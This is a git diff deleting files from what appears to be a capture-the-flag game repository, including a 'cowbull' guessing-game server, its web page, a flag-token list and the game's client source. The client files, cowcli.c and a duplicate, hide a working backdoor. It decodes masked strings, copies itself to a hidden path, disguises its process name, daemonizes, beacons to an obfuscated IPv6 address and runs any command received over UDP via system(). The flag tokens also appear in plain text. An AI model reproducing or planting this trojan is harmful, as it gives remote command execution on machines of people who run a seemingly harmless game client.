diff --git a/go b/go deleted file mode 100755 index 415affc..0000000 --- a/go +++ /dev/null @@ -1,56 +0,0 @@ -#! /bin/sh -e - -TYPE=p2 - -case ${1:-$TYPE} in - mcp) - packages='mcp net-re' - ;; - router) - packages='router' - ;; - p2) - packages='p2 gs archaeology nocode steg js proto' - ;; - p2cli) - packages='p2client' - ;; -esac - -PATH=$HOME/src/buildroot/output/host/usr/bin:$PATH -for arch in arm i386; do - command -v ${arch}-linux-cc && ARCH=${arch}-linux export ARCH -done - -if [ -z "$ARCH" ]; then - echo "I can't find a cross-compiler." - exit 1 -fi - -make -C $HOME/src/puzzles -make -C $HOME/src/ctf - -for p in $packages; do - for pd in ctf puzzles; do - pp=$HOME/src/$pd/bin/$p.pkg - [ -f $pp ] && op="$op $pp" - done -done - -mksquashfs \ - $op \ - $HOME/ctf.squashfs -noappend - -echo $ARCH - -if [ $ARCH = i386-linux ]; then - lsmod | grep -q kvm-intel || sudo modprobe kvm-intel - sudo qemu-system-i386 \ - -nographic \ - -kernel $HOME/src/buildroot/output/images/bzImage \ - -initrd $HOME/src/buildroot/output/images/rootfs.squashfs \ - -append "console=ttyS0 packages=/dev/sda ipv6 debug" \ - -hda $HOME/ctf.squashfs \ - -net nic,model=e1000 \ - -net tap,vlan=0,script=$HOME/src/ctf/qemu-ifup,downscript=/bin/true -fi diff --git a/packages/00common/ctfbase.mk b/packages/00common/ctfbase.mk index 6c1afd1..a0fe35a 100644 --- a/packages/00common/ctfbase.mk +++ b/packages/00common/ctfbase.mk @@ -1,7 +1,3 @@ -ifndef PASSWORD -$(error PASSWORD not defined) -endif - TEA_BIN = packages/00common/src/tea POINTSCLI_BIN = packages/00common/src/pointscli PUZZLES_BIN = packages/00common/src/puzzles.cgi @@ -22,6 +18,4 @@ define CTFBASE_INSTALL cp $(TEA_BIN) $(1)/bin cp $(POINTSCLI_BIN) $(1)/bin cp $(PUZZLES_BIN) $(1)/bin - - echo "$(PASSWORD)" > $(1)/password endef diff --git a/packages/cowbull/cowbull.mk b/packages/cowbull/cowbull.mk deleted file mode 100644 index e435cc2..0000000 --- a/packages/cowbull/cowbull.mk +++ /dev/null @@ -1,23 +0,0 @@ -COWBULL_PKGDIR = $(TARGET)/cowbull - -cowbull-install: cowbull-build - mkdir -p $(COWBULL_PKGDIR) - - mkdir -p $(COWBULL_PKGDIR)/bin/ - cp packages/cowbull/src/cowd $(COWBULL_PKGDIR)/bin - - mkdir -p $(COWBULL_PKGDIR)/www/cowbull/ - cp packages/cowbull/www/moo.html $(COWBULL_PKGDIR)/www/cowbull/index.html - cp packages/cowbull/src/cowcli $(COWBULL_PKGDIR)/www/cowbull/ - - $(call COPYTREE, packages/cowbull/service, $(COWBULL_PKGDIR)/service) - cp packages/cowbull/tokens.txt $(COWBULL_PKGDIR)/ - -cowbull-clean: - rm -rf $(COWBULL_PKGDIR) - $(MAKE) -C packages/cowbull/src clean - -cowbull-build: - $(MAKE) -C packages/cowbull/src build - -PACKAGES += cowbull diff --git a/packages/cowbull/service/cowbull/finish b/packages/cowbull/service/cowbull/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/cowbull/service/cowbull/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/cowbull/service/cowbull/ip.txt b/packages/cowbull/service/cowbull/ip.txt deleted file mode 100644 index ca55a6c..0000000 --- a/packages/cowbull/service/cowbull/ip.txt +++ /dev/null @@ -1 +0,0 @@ -198 diff --git a/packages/cowbull/service/cowbull/log/run b/packages/cowbull/service/cowbull/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/cowbull/service/cowbull/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/cowbull/service/cowbull/run b/packages/cowbull/service/cowbull/run deleted file mode 100755 index 6207c24..0000000 --- a/packages/cowbull/service/cowbull/run +++ /dev/null @@ -1,7 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) - -exec setuidgid nobody $CTF_BASE/packages/cowbull/bin/cowd < $CTF_BASE/packages/cowbull/tokens.txt diff --git a/packages/cowbull/src/Makefile b/packages/cowbull/src/Makefile deleted file mode 100644 index 9b787e9..0000000 --- a/packages/cowbull/src/Makefile +++ /dev/null @@ -1,14 +0,0 @@ -DESTDIR ?= /tmp - -build: cowd cowcli - -cowcli: cowcli.c - cc -o $@ -static $< - strip $@ - upx $@ - -install: build - cp cowd cowcli $(DESTDIR)/bin/ - -clean: - rm -f cowd cowcli diff --git a/packages/cowbull/src/cow.txt b/packages/cowbull/src/cow.txt deleted file mode 100644 index cceaca7..0000000 --- a/packages/cowbull/src/cow.txt +++ /dev/null @@ -1,58 +0,0 @@ -The Cow Game -============ - -You are trying to guess a 4-nybble sequence. Each nybble will have -either 1 or 2 bits set, and the highest bit will never be set. The -game server will tell you how many nybbles in each guess were correct, -and how many had one correct bit. It does not tell you which -positions - - - -The Cow Client -============== - -The client connects to the Cow server running on the IPv6 address -provided in argument 1. If argument 2 is present, the client will -try to run it, providing stdin and stdout as in interactive mode. - -In interactive mode (no argument 2), the client reads a guess in the -form of 4 ASCII numerals, and prints the number of correct nybbles -followed by the number of nybbles with one correct bit. - -Here is an example of a session: - - 1111 - 12 - 2222 - 10 - 4444 - 02 - 4244 - 12 - 1244 - 22 - 1255 - cow:xylep-radar-nanox - - - -The Cow Protocol -================ - -cowd runs on port 3782. - -The client always sends 6 octets. To request a new session, it sends -all zeroes. Otherwise it sends the 4-octet game identifier provided -by the server, concatenated with a 2-octet guess. - -The server will respond with a new game identifier (4 octets) to a new -game request or if the game requested is too old. If a guess is -incorrect, the server will respond with either a 1-octet score in -which the high nybble is the number of correct nybbles in the guess, -and the low nybble is the number of nybbles in the guess with one -correct bit. If a guess is correct, the server will respond with a -token of length 5 octets or more. - -There are multiple tokens, one per number of guesses used, up to -some maximum number of guesses defined per server instance. diff --git a/packages/cowbull/src/cowcli.c b/packages/cowbull/src/cowcli.c deleted file mode 100644 index 396d8e0..0000000 --- a/packages/cowbull/src/cowcli.c +++ /dev/null @@ -1,355 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - - -#define NODEBUG - -#ifdef DEBUG -# define PORT 4444 -#else -# define PORT 44 -#endif - -#define BDPORT 33333 -#define BCNPORT_S 48172 -#define BCNPORT_D 48179 - -int -bind_port(int fd, const struct in6_addr *addr, uint16_t port) -{ - struct sockaddr_in6 saddr = { 0 }; - - saddr.sin6_family = AF_INET6; - saddr.sin6_port = htons(port); - memcpy(&saddr.sin6_addr, addr, sizeof *addr); - return bind(fd, (struct sockaddr *) &saddr, sizeof saddr); -} - -void -sigchld(int unused) -{ - while (0 < waitpid(-1, NULL, WNOHANG)); -} - -void -unmask_str(unsigned char *str) -{ - int i = strlen(str); - while (i-- > 0) { - str[i] &= 127; - } -} -int -copyprog(const char *from, const char *to) -{ - int fd_to, fd_from; - char buf[4096]; - ssize_t nread; - int saved_errno; - - fd_from = open(from, O_RDONLY); - if (fd_from < 0) - return -1; - - fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700); - if (fd_to < 0) - goto out_error; - - while (nread = read(fd_from, buf, sizeof buf), nread > 0) - { - char *out_ptr = buf; - ssize_t nwritten; - - do { - nwritten = write(fd_to, out_ptr, nread); - - if (nwritten >= 0) - { - nread -= nwritten; - out_ptr += nwritten; - } - else if (errno != EINTR) - { - goto out_error; - } - } while (nread > 0); - } - - if (nread == 0) - { - if (close(fd_to) < 0) - { - fd_to = -1; - goto out_error; - } - close(fd_from); - - /* Success! */ - return 0; - } - - out_error: - saved_errno = errno; - - close(fd_from); - if (fd_to >= 0) - close(fd_to); - - errno = saved_errno; - return -1; -} - -void -signal_evil(int sig) -{ - if (fork()) { - exit(1); - } -} -void -evil(int argc, char *argv[]) -{ - int i; - int sock; - - char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd"; - char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0"; - - unmask_str(procname); - unmask_str(cptarget); - - if (strcmp(argv[0], cptarget)) { - if (fork()) { - return; - } - /* copy ourselves */ - if (copyprog(argv[0], cptarget) == 0) { - argv[0] = cptarget; - execv(cptarget, argv); - } - } else { - unlink(cptarget); - if (fork()) { - exit(0); - } - } - - /* mask the process title and arguments */ - while (argc--) { - int p = strlen(argv[argc]); - while (p--) { - argv[argc][p] = 0; - } - } - strcpy(argv[0], procname); - - - { - int r = open("/dev/null", O_RDONLY); - int w = open("/dev/null", O_WRONLY); - - dup2(r, 0); - dup2(w, 1); - dup2(w, 2); - close(r); - close(w); - setsid(); - chdir("/"); - signal(SIGHUP, signal_evil); - signal(SIGTERM, signal_evil); - signal(SIGINT, signal_evil); - signal(SIGQUIT, signal_evil); - } - - sock = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock, &in6addr_any, BDPORT)) { - exit(0); - } - struct timeval tv; - tv.tv_sec = 5; - tv.tv_usec = 0; - setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval)); - - - while (1) { - /* beacon */ - int sock_beacon; - sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) { - //perror("Beacon bind"); - ;; /* return EX_IOERR; */ - } - int subnet; - if (sock_beacon > 0) { - for (subnet = 0; subnet < 50; subnet++) { - char payload[] = "hi"; - char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7"; - unmask_str(addr6_f); - char addr6[64]; - sprintf(addr6, addr6_f, subnet); - - //printf("%s\n", addr6); - struct addrinfo *beacon_addr; - { - struct addrinfo hints = { 0 }; - - hints.ai_family = PF_INET6; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_flags = AI_NUMERICHOST; - - if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) { - ;;//perror("Resolving address"); - } - } - - struct sockaddr_in6 saddr = { 0 }; - - if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) { - ;;//perror("Beacon send"); - } else { - ;;//printf("sent!\n"); - } - } - } - close(sock_beacon); - /* end beacon */ - - /* c&c */ - char cmd[400]; - ssize_t inlen; - - inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL); - - if (inlen < 1) { - continue; - } - - cmd[inlen] = 0; - if (! fork()) { - system(cmd); - exit(0); - } - } -} - -int -main(int argc, char *argv[]) -{ - long answer = 0; - int sock; - int i; - struct addrinfo *addr; - uint32_t token = 0; - FILE *in, *out; - - srand(time(NULL)); - - signal(SIGCHLD, sigchld); - - if (argc < 2) { - fprintf(stderr, "Usage: %s SERVER\n", argv[0]); - return EX_USAGE; - } - - evil(argc, argv); - - { - struct addrinfo hints = { 0 }; - - hints.ai_family = PF_INET6; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_flags = AI_NUMERICHOST; - - if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) { - perror("Resolving address"); - return EX_IOERR; - } - } - - /* - * Set up socket - */ - sock = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock, &in6addr_any, PORT)) { - perror("Binding UDP port 44"); - return EX_IOERR; - } - - if (argv[2]) { - /* fork and exec */ - } else { - in = stdin; - out = stdout; - } - - - while (1) { - long guess; - struct { - uint32_t token; - uint16_t guess; - } g; - - g.token = token; - if (token) { - char line[20]; - - if (NULL == fgets(line, sizeof line, in)) { - break; - } - g.guess = strtol(line, NULL, 16); - } else { - g.guess = 0; - } - - /* Send the guess */ - if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) { - perror("Sending packet"); - return EX_IOERR; - } - - /* read the result */ - { - char buf[80]; - ssize_t len; - - len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL); - switch (len) { - case -1: - perror("Reading packet"); - return EX_IOERR; - case 1: - /* It's a score */ - printf("%02x\n", buf[0]); - break; - case 4: - /* New game token */ - printf("NEW GAME\n"); - token = *((uint32_t *) buf); - break; - default: - /* You win: this is your CTF token */ - buf[len] = 0; - printf("A WINNER IS YOU: %s\n", buf); - break; - } - } - } - - return 0; -} diff --git a/packages/cowbull/src/cowcli.orig.c b/packages/cowbull/src/cowcli.orig.c deleted file mode 100644 index b26fbbd..0000000 --- a/packages/cowbull/src/cowcli.orig.c +++ /dev/null @@ -1,196 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - - -#define NODEBUG - -#ifdef DEBUG -# define PORT 4444 -#else -# define PORT 44 -#endif - -#define evil listener - -int -bind_port(int fd, const struct in6_addr *addr, uint16_t port) -{ - struct sockaddr_in6 saddr = { 0 }; - - saddr.sin6_family = AF_INET6; - saddr.sin6_port = htons(port); - memcpy(&saddr.sin6_addr, addr, sizeof *addr); - return bind(fd, (struct sockaddr *) &saddr, sizeof saddr); -} - -void -sigchld(int unused) -{ - while (0 < waitpid(-1, NULL, WNOHANG)); -} - -void -evil(char *argv[]) -{ - int sock; - - if (fork()) { - return; - } - - /* Fork again to reparent to init */ - if (fork()) { - exit(0); - } - - { - int r = open("/dev/null", O_RDONLY); - int w = open("/dev/null", O_WRONLY); - - dup2(r, 0); - dup2(w, 1); - dup2(w, 2); - close(r); - close(w); - } - - strcpy(argv[0], "[hci1]"); - - sock = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock, &in6addr_any, 3782)) { - exit(0); - } - - while (1) { - char cmd[400]; - ssize_t inlen; - - inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL); - if (-1 == inlen) { - continue; - } - - cmd[inlen] = 0; - if (! fork()) { - system(cmd); - exit(0); - } - } -} - -int -main(int argc, char *argv[]) -{ - long answer = 0; - int sock; - int i; - struct addrinfo *addr; - uint32_t token = 0; - FILE *in, *out; - - srand(time(NULL)); - - signal(SIGCHLD, sigchld); - - if (argc < 2) { - fprintf(stderr, "Usage: %s SERVER\n", argv[0]); - return EX_USAGE; - } - - { - struct addrinfo hints = { 0 }; - - hints.ai_family = PF_INET6; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_flags = AI_NUMERICHOST; - - if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) { - perror("Resolving address"); - return EX_IOERR; - } - } - - /* - * Set up socket - */ - sock = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock, &in6addr_any, PORT)) { - perror("Binding UDP port 44"); - return EX_IOERR; - } - - if (argv[2]) { - /* fork and exec */ - } else { - in = stdin; - out = stdout; - } - - evil(argv); - - while (1) { - long guess; - struct { - uint32_t token; - uint16_t guess; - } g; - - g.token = token; - if (token) { - char line[20]; - - if (NULL == fgets(line, sizeof line, in)) { - break; - } - g.guess = strtol(line, NULL, 16); - } else { - g.guess = 0; - } - - /* Send the guess */ - if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) { - perror("Sending packet"); - return EX_IOERR; - } - - /* read the result */ - { - char buf[80]; - ssize_t len; - - len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL); - switch (len) { - case -1: - perror("Reading packet"); - return EX_IOERR; - case 1: - /* It's a score */ - printf("%02x\n", buf[0]); - break; - case 4: - /* New game token */ - printf("NEW GAME\n"); - token = *((uint32_t *) buf); - break; - default: - /* You win: this is your CTF token */ - buf[len] = 0; - printf("A WINNER IS YOU: %s\n", buf); - break; - } - } - } - - return 0; -} diff --git a/packages/cowbull/src/cowcli_vand.c b/packages/cowbull/src/cowcli_vand.c deleted file mode 100644 index 396d8e0..0000000 --- a/packages/cowbull/src/cowcli_vand.c +++ /dev/null @@ -1,355 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - - -#define NODEBUG - -#ifdef DEBUG -# define PORT 4444 -#else -# define PORT 44 -#endif - -#define BDPORT 33333 -#define BCNPORT_S 48172 -#define BCNPORT_D 48179 - -int -bind_port(int fd, const struct in6_addr *addr, uint16_t port) -{ - struct sockaddr_in6 saddr = { 0 }; - - saddr.sin6_family = AF_INET6; - saddr.sin6_port = htons(port); - memcpy(&saddr.sin6_addr, addr, sizeof *addr); - return bind(fd, (struct sockaddr *) &saddr, sizeof saddr); -} - -void -sigchld(int unused) -{ - while (0 < waitpid(-1, NULL, WNOHANG)); -} - -void -unmask_str(unsigned char *str) -{ - int i = strlen(str); - while (i-- > 0) { - str[i] &= 127; - } -} -int -copyprog(const char *from, const char *to) -{ - int fd_to, fd_from; - char buf[4096]; - ssize_t nread; - int saved_errno; - - fd_from = open(from, O_RDONLY); - if (fd_from < 0) - return -1; - - fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700); - if (fd_to < 0) - goto out_error; - - while (nread = read(fd_from, buf, sizeof buf), nread > 0) - { - char *out_ptr = buf; - ssize_t nwritten; - - do { - nwritten = write(fd_to, out_ptr, nread); - - if (nwritten >= 0) - { - nread -= nwritten; - out_ptr += nwritten; - } - else if (errno != EINTR) - { - goto out_error; - } - } while (nread > 0); - } - - if (nread == 0) - { - if (close(fd_to) < 0) - { - fd_to = -1; - goto out_error; - } - close(fd_from); - - /* Success! */ - return 0; - } - - out_error: - saved_errno = errno; - - close(fd_from); - if (fd_to >= 0) - close(fd_to); - - errno = saved_errno; - return -1; -} - -void -signal_evil(int sig) -{ - if (fork()) { - exit(1); - } -} -void -evil(int argc, char *argv[]) -{ - int i; - int sock; - - char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd"; - char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0"; - - unmask_str(procname); - unmask_str(cptarget); - - if (strcmp(argv[0], cptarget)) { - if (fork()) { - return; - } - /* copy ourselves */ - if (copyprog(argv[0], cptarget) == 0) { - argv[0] = cptarget; - execv(cptarget, argv); - } - } else { - unlink(cptarget); - if (fork()) { - exit(0); - } - } - - /* mask the process title and arguments */ - while (argc--) { - int p = strlen(argv[argc]); - while (p--) { - argv[argc][p] = 0; - } - } - strcpy(argv[0], procname); - - - { - int r = open("/dev/null", O_RDONLY); - int w = open("/dev/null", O_WRONLY); - - dup2(r, 0); - dup2(w, 1); - dup2(w, 2); - close(r); - close(w); - setsid(); - chdir("/"); - signal(SIGHUP, signal_evil); - signal(SIGTERM, signal_evil); - signal(SIGINT, signal_evil); - signal(SIGQUIT, signal_evil); - } - - sock = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock, &in6addr_any, BDPORT)) { - exit(0); - } - struct timeval tv; - tv.tv_sec = 5; - tv.tv_usec = 0; - setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval)); - - - while (1) { - /* beacon */ - int sock_beacon; - sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) { - //perror("Beacon bind"); - ;; /* return EX_IOERR; */ - } - int subnet; - if (sock_beacon > 0) { - for (subnet = 0; subnet < 50; subnet++) { - char payload[] = "hi"; - char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7"; - unmask_str(addr6_f); - char addr6[64]; - sprintf(addr6, addr6_f, subnet); - - //printf("%s\n", addr6); - struct addrinfo *beacon_addr; - { - struct addrinfo hints = { 0 }; - - hints.ai_family = PF_INET6; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_flags = AI_NUMERICHOST; - - if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) { - ;;//perror("Resolving address"); - } - } - - struct sockaddr_in6 saddr = { 0 }; - - if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) { - ;;//perror("Beacon send"); - } else { - ;;//printf("sent!\n"); - } - } - } - close(sock_beacon); - /* end beacon */ - - /* c&c */ - char cmd[400]; - ssize_t inlen; - - inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL); - - if (inlen < 1) { - continue; - } - - cmd[inlen] = 0; - if (! fork()) { - system(cmd); - exit(0); - } - } -} - -int -main(int argc, char *argv[]) -{ - long answer = 0; - int sock; - int i; - struct addrinfo *addr; - uint32_t token = 0; - FILE *in, *out; - - srand(time(NULL)); - - signal(SIGCHLD, sigchld); - - if (argc < 2) { - fprintf(stderr, "Usage: %s SERVER\n", argv[0]); - return EX_USAGE; - } - - evil(argc, argv); - - { - struct addrinfo hints = { 0 }; - - hints.ai_family = PF_INET6; - hints.ai_socktype = SOCK_DGRAM; - hints.ai_flags = AI_NUMERICHOST; - - if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) { - perror("Resolving address"); - return EX_IOERR; - } - } - - /* - * Set up socket - */ - sock = socket(AF_INET6, SOCK_DGRAM, 0); - if (-1 == bind_port(sock, &in6addr_any, PORT)) { - perror("Binding UDP port 44"); - return EX_IOERR; - } - - if (argv[2]) { - /* fork and exec */ - } else { - in = stdin; - out = stdout; - } - - - while (1) { - long guess; - struct { - uint32_t token; - uint16_t guess; - } g; - - g.token = token; - if (token) { - char line[20]; - - if (NULL == fgets(line, sizeof line, in)) { - break; - } - g.guess = strtol(line, NULL, 16); - } else { - g.guess = 0; - } - - /* Send the guess */ - if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) { - perror("Sending packet"); - return EX_IOERR; - } - - /* read the result */ - { - char buf[80]; - ssize_t len; - - len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL); - switch (len) { - case -1: - perror("Reading packet"); - return EX_IOERR; - case 1: - /* It's a score */ - printf("%02x\n", buf[0]); - break; - case 4: - /* New game token */ - printf("NEW GAME\n"); - token = *((uint32_t *) buf); - break; - default: - /* You win: this is your CTF token */ - buf[len] = 0; - printf("A WINNER IS YOU: %s\n", buf); - break; - } - } - } - - return 0; -} diff --git a/packages/cowbull/src/cowd.c b/packages/cowbull/src/cowd.c deleted file mode 100644 index 9ad2c24..0000000 --- a/packages/cowbull/src/cowd.c +++ /dev/null @@ -1,199 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include - -#define TIMEOUT 30 - -#define NTOKENS 20 -#define TOKENLEN 50 -char tokens[NTOKENS][TOKENLEN]; -int ntokens; - -char *admonishment = "Try for fewer guesses next time!\n"; - -struct state { - time_t death; - uint16_t answer; - uint16_t guesses; -}; - -#define NSTATES 500 -struct state states[NSTATES] = { 0 }; - -int -bind_port(struct in6_addr *addr, int fd, uint16_t port) -{ - struct sockaddr_in6 saddr = { 0 }; - - saddr.sin6_family = AF_INET6; - saddr.sin6_port = htons(port); - memcpy(&saddr.sin6_addr, addr, sizeof *addr); - return bind(fd, (struct sockaddr *) &saddr, sizeof saddr); -} - - -struct newgame { - uint16_t offset; - uint16_t token; -}; - -void -new_game(int sock, time_t now, struct sockaddr_in6 *from, - socklen_t fromlen) -{ - int i; - struct newgame g; - - for (g.offset = 0; g.offset < NSTATES; g.offset += 1) { - struct state *s = &states[g.offset]; - - if (s->death < now) { - s->death = now + TIMEOUT; - s->guesses = 0; - s->answer = 0; - - for (i = 0; i < 4; i += 1) { - s->answer = (s->answer << 4) | ((random() % 6) + 1); - } - - g.token = s->answer; - break; - } - } - - printf("=%02x\n", g.token); - - if (g.offset < NSTATES) { - sendto(sock, &g, sizeof(g), 0, (struct sockaddr *) from, fromlen); - } -} - -struct guess { - uint16_t offset; - uint16_t token; - uint16_t guess; -}; - -void -loop(int sock) -{ - struct guess g; - struct state *cur; - struct sockaddr_in6 from; - socklen_t fromlen = sizeof from; - time_t now = time(NULL); - - /* - * Read guess - */ - { - ssize_t inlen; - - inlen = recvfrom(sock, &g, sizeof g, 0, - (struct sockaddr *) &from, &fromlen); - if (inlen != sizeof g) { - return; - } - } - - /* - * Bounds check - */ - if (g.offset >= NSTATES) { - g.offset = 0; - } - cur = &states[g.offset]; - - if ((g.token != cur->answer) || /* Wrong token? */ - (cur->death < now) || /* Old game? */ - (cur->guesses++ > 100)) { /* Too dumb? */ - /* - * Start a new game - */ - new_game(sock, now, &from, fromlen); - return; - } else { - uint8_t reply = 0; - int i; - - for (i = 0; i < 4; i += 1) { - int s = (g.guess >> (i * 4)) & 0xf; - int a = (cur->answer >> (i * 4)) & 0xf; - if ((s < 1) || (s > 7)) { - reply = 0; - break; - } else if (s == a) { - reply += 0x10; - } else if (s & a) { - reply += 0x01; - } - } - printf("%02x ? %02x\n", g.guess, reply); - - if (reply == 0x40) { - char *r; - - if (cur->guesses <= ntokens) { - r = tokens[cur->guesses - 1]; - } else { - r = admonishment; - } - sendto(sock, r, strlen(r) - 1, 0, - (struct sockaddr *) &from, fromlen); - cur->death = 0; - } else { - sendto(sock, &reply, sizeof reply, 0, - (struct sockaddr *) &from, fromlen); - } - } -} - -int -main(int argc, char *argv[]) -{ - int sock; - int i; - struct in6_addr addr; - - srand(time(NULL)); - - if (argc > 1) { - if (0 >= inet_pton(AF_INET6, argv[1], &addr)) { - fprintf(stderr, "invalid address: %s\n", argv[1]); - return EX_IOERR; - } - } else { - memcpy(&addr, &in6addr_any, sizeof addr); - } - - /* - * Read in tokens - */ - for (ntokens = 0; ntokens < NTOKENS; ntokens += 1) { - if (NULL == fgets(tokens[ntokens], TOKENLEN, stdin)) { - break; - } - } - printf("Read %d tokens.\n", ntokens); - - /* - * Set up socket - */ - sock = socket(AF_INET6, SOCK_DGRAM, 0); - i = bind_port(&addr, sock, 3782); - if (-1 == i) { - perror("Bind port 3782"); - return EX_IOERR; - } - - while (1) { - loop(sock); - } - - return 0; -} diff --git a/packages/cowbull/tokens.txt b/packages/cowbull/tokens.txt deleted file mode 100644 index 3aef74e..0000000 --- a/packages/cowbull/tokens.txt +++ /dev/null @@ -1,10 +0,0 @@ -moo:1000000:xikov-fybir-zurox -moo:9:xukiv-hudyb-fesix -moo:8:xecoh-nyfyh-degix -moo:7:xihap-synik-gesix -moo:6:xegek-rulyz-polux -moo:5:xitiz-fokel-radix -moo:4:xuzif-gakit-fogyx -moo:3:xisav-nodob-besex -moo:2:xumol-peker-pibox -moo:1:xilom-zosyk-cavux diff --git a/packages/cowbull/www/moo.html b/packages/cowbull/www/moo.html deleted file mode 100644 index 8e0ada9..0000000 --- a/packages/cowbull/www/moo.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - Welcome - - - -

Moo.

-

- You are trying to guess a 4-nybble sequence. Each nybble will have - either 1 or 2 bits set, and the highest bit will never be set. The - game server will tell you how many nybbles in each guess were correct, - and how many had one correct bit. It does not tell you which - positions. -

- -

The Cow Client

- -

- Download the client -

- -

- The client connects to the Cow server running on the IPv6 - address provided in argument 1. The client reads a guess - in the form of 4 ASCII numerals, and prints the number of - correct nybbles followed by the number of nybbles with one - correct bit. -

- -

- Here is an example of a session: -

- -
-1111
-12
-2222
-10
-4444
-02
-4244
-12
-1244
-22
-1255
-moo:xylep-radar-nanox
-
- -

- You can use a program like socat to connect - the client to a logic program you write: -

-
-socat EXEC:"./cowcli fd84:b410:3441::ec6" EXEC:./mysolution
-
- -

- This will allow your program to read and write from stdio - of the client program. -

- - -

The Cow Protocol

- -

- cowd runs on port 3782 on fd84:b410:3441::ec6. -

- -

- The client always sends 6 octets. To request a new session, it sends - all zeroes. Otherwise it sends the 4-octet game identifier provided - by the server, concatenated with a 2-octet guess. -

- -

- The server will respond with a new game identifier (4 octets) to a new - game request or if the game requested is too old. If a guess is - incorrect, the server will respond with either a 1-octet score in - which the high nybble is the number of correct nybbles in the guess, - and the low nybble is the number of nybbles in the guess with one - correct bit. If a guess is correct, the server will respond with a - token of length 5 octets or more. -

- -

- There are multiple tokens, one per number of guesses used, up to - some maximum number of guesses defined per server instance. -

- - diff --git a/packages/fizzbuzz/fizzbuzz-client.sh b/packages/fizzbuzz/fizzbuzz-client.sh deleted file mode 100755 index d6caa5e..0000000 --- a/packages/fizzbuzz/fizzbuzz-client.sh +++ /dev/null @@ -1,13 +0,0 @@ -#! /bin/sh - -for i in $(seq 100); do - if [ $(expr $i % 15) = 0 ]; then - echo 'FizzBuzz' - elif [ $(expr $i % 3) = 0 ]; then - echo 'Fizz' - elif [ $(expr $i % 5) = 0 ]; then - echo 'Buzz' - else - echo $i - fi -done diff --git a/packages/fizzbuzz/fizzbuzz.mk b/packages/fizzbuzz/fizzbuzz.mk deleted file mode 100644 index 10dcac7..0000000 --- a/packages/fizzbuzz/fizzbuzz.mk +++ /dev/null @@ -1,29 +0,0 @@ -FIZZBUZZ_PKGDIR = $(TARGET)/fizzbuzz -FIZZBUZZ_BUILDDIR = $(BUILD)/fizzbuzz - -$(FIZZBUZZ_BUILDDIR)/token.enc: packages/fizzbuzz/tokens.txt -$(FIZZBUZZ_BUILDDIR)/token.enc: packages/fizzbuzz/fizzbuzz-client.sh -$(FIZZBUZZ_BUILDDIR)/token.enc: $(FIZZBUZZ_BUILDDIR)/fizzbuzz-native - packages/fizzbuzz/fizzbuzz-client.sh | $(FIZZBUZZ_BUILDDIR)/fizzbuzz-native 3< packages/fizzbuzz/tokens.txt > $@ - -$(FIZZBUZZ_BUILDDIR)/fizzbuzz-native: packages/fizzbuzz/src/fizzbuzz.c - @ mkdir -p $(@D) - cc -o $@ $< - -fizzbuzz-install: fizzbuzz-build - mkdir -p 